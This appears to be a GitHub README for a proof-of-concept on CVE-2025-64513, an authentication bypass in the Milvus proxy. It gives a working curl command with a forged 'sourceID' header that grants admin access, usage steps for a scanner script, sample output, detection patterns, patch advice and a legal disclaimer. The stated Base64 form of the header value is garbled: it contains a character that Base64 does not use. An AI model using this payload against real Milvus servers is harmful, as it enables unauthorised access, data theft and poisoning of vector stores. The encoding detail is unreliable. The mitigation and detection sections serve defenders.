Associated Vulnerability
Title:milvus 授权问题漏洞 (CVE-2025-64513)Description:milvus是The Milvus Project开源的一个高性能的云原生矢量数据库。 Milvus 2.4.24之前版本、2.5.21之前版本和2.6.5之前版本存在授权问题漏洞,该漏洞源于Milvus Proxy组件中存在认证机制绕过问题,可能导致攻击者获得完全管理权限。
Description
CVE-2025-64513
Readme
# 🚨 **CVE-2025-64513: Critical Auth Bypass in Milvus Proxy** 🌐💥
---
## 🎯 **At a Glance**
| Metric | Details |
|--------|--------|
| **CVE** | `CVE-2025-64513` 🔖 |
| **Severity** | **9.3 / Critical** 🔥🔥🔥 |
| **Type** | Authentication Bypass 🕳️ |
| **Auth Required?** | **None** 😈 |
| **Exploit Complexity** | **Low** (1-line curl) ⚡ |
| **In the Wild?** | Not yet… *but coming soon* 👀 |
---
## 🛡️ **Affected Versions**
| Branch | Vulnerable | **Patched** ✅ |
|--------|------------|----------------|
| `2.4.x` | `< 2.4.24` | `2.4.24` |
| `2.5.x` | `< 2.5.21` | `2.5.21` |
| `2.6.x` | `< 2.6.5` | `2.6.5` |
> **6,000+ exposed instances** on the internet 🌍 (FOFA scans)
---
## 🔍 **How It Works (PoC)**
```bash
curl -H "sourceID: @@milvus-member@@" \
-X POST http://your-milvus:19530/api/v1/collections \
-d '{"collection_name": "pwned"}'
```
➡️ **Boom!** Full admin access. No password. No token. 😱
> **Base64 decode**: `@@milvus-member@@` → `QEBtaWx2dXMt@WVtYmVyQEA=` *(not even needed!)*
---
## How to Use (Step-by-Step)
```
# 1. Save as CVE-2025-64513.py
chmod +x CVE-2025-64513.py
# 2. Run against YOUR system
./CVE-2025-64513.py http://your-milvus-proxy:19530
```
## Sample Output (Vulnerable)
```
TARGET: http://milvus-prod:19530
TEST COLLECTION: cve_2025_64513_test_a1b2c3d4
[*] Version Check → Success (v2.6.4)
[*] Create Test Collection → Success: cve_2025_64513_test_a1b2c3d4
[*] Verify Collection → Found: cve_2025_64513_test_a1b2c3d4
[*] Cleanup → Deleted: cve_2025_64513_test_a1b2c3d4
==================================================
VULNERABLE TO CVE-2025-64513
Upgrade to 2.4.24 / 2.5.21 / 2.6.5 IMMEDIATELY!
==================================================
REPORT SAVED: report_cve_2025_64513_a1b2c3d4.json
```
## Generated Report `(report_*.json)`
```json
{
"cve": "CVE-2025-64513",
"target": "http://milvus-prod:19530",
"vulnerable": true,
"proof": {
"version": "2.6.4",
"collection_created": true
},
"cleanup": true,
"steps": [ ... ]
}
```
---
## ⚠️ **Impact Matrix**
| Risk | Level | Details |
|------|-------|-------|
| **Data Theft** | High | Steal embeddings, user profiles, AI models 🕵️ |
| **Data Tampering** | High | Inject fake vectors, poison RAG 🔬 |
| **DoS** | Medium | Crash proxy, disrupt AI pipelines 📉 |
| **Lateral Movement** | High | Pivot to Kubernetes, cloud metadata ☁️ |
---
## ⏰ **Timeline**
| Date | Event |
|------|-------|
| **Nov 10, 2025** | CVE published + patches dropped 📢 |
| **Nov 11** | PoC on GitHub, scans go wild 🛜 |
| **Nov 12** | Blogs, Nuclei templates, panic 😵 |
| **Nov 13 (Today)** | **Patch or perish** ⏳ |
---
## 🛠️ **Fix It NOW!**
1. **Upgrade** 🚀
```bash
docker pull milvusdb/milvus:v2.6.5
```
2. **Restrict Access** 🔒
- Firewall: Allow only trusted IPs
- Kubernetes: `NetworkPolicy`
3. **Enable mTLS** 🔐
- Force client certs
4. **Monitor Logs** 📡
```bash
grep "@@milvus-member@@" /var/log/milvus/proxy.log
```
---
## 🔎 **Detection (IoCs)**
| Indicator | Tool |
|---------|------|
| `sourceID: @@milvus-member@@` | Suricata / Zeek |
| `/api/v1/users` without token | SIEM Alert |
| New collection `pwned_*` | Audit Logs |
> **Nuclei Template**: `cve-2025-64513-milvus-bypass.yaml` (ProjectDiscovery) 🛠️
---
## 🏆 **Best Practices**
- Run Milvus **behind NGINX** with rate limiting ⏱️
- Use **RBAC** (Milvus 2.3+) to limit damage 🎛️
- Scan with **Shodan/FOFA**: `app="Milvus"` 🌐
- Rotate **all API keys** post-patch 🔑
---
## 🎉 **Final Word**
> **Patch today. Sleep tonight.**
> Don’t let your AI become *someone else’s* AI. 🤖⚔️
**Your move, sysadmin.** ⏰
---
# ⚠️ **LEGAL & ETHICAL DISCLAIMER** ⚠️
> **READ THIS BEFORE USING ANY CODE OR INFORMATION PROVIDED**
---
### **You are solely responsible for your actions.**
---
#### **1. Authorized Use Only**
- This **Proof-of-Concept (PoC)** and associated information are provided **exclusively for:**
- **Penetration testing** on systems **you own**.
- **Vulnerability validation** in environments where you have **explicit written authorization**.
- **Internal security assessments** within your organization.
> **Unauthorized access to computer systems is illegal** under laws such as:
> - **CFAA** (United States)
> - **Computer Misuse Act** (UK)
> - **GDPR Article 32** (EU)
> - And similar laws worldwide.
---
#### **2. No Malicious Use**
- **Do NOT** use this PoC to:
- Attack systems without permission.
- Exfiltrate data.
- Disrupt services.
- Conduct reconnaissance on third-party infrastructure.
> **xAI, Grok, and the author assume zero liability** for misuse.
---
#### **3. Defensive Intent Only**
- This tool is designed to:
- **Prove vulnerability existence**.
- **Generate evidence for remediation**.
- **Support responsible disclosure**.
> It includes **automatic cleanup** to minimize impact.
---
#### **4. Reporting Responsibility**
If you discover a vulnerable system:
1. **Notify the system owner immediately**.
2. **Do not exploit further**.
3. **Provide the generated report** to aid in patching.
4. Follow **responsible disclosure** practices.
---
#### **5. No Warranty**
- This PoC is provided **"as is"**.
- **No guarantee** of functionality, safety, or completeness.
- May produce **false positives/negatives**.
- Use in production environments at **your own risk**.
---
### **By proceeding, you agree:**
> ✅ I will only test systems I own or have permission to test.
> ✅ I will not use this for malicious purposes.
> ✅ I will report findings responsibly.
> ✅ I accept full legal and ethical responsibility.
---
**Proceed only if you understand and accept these terms.**
*Security is a shared responsibility. Test to protect — never to harm.* 🛡️
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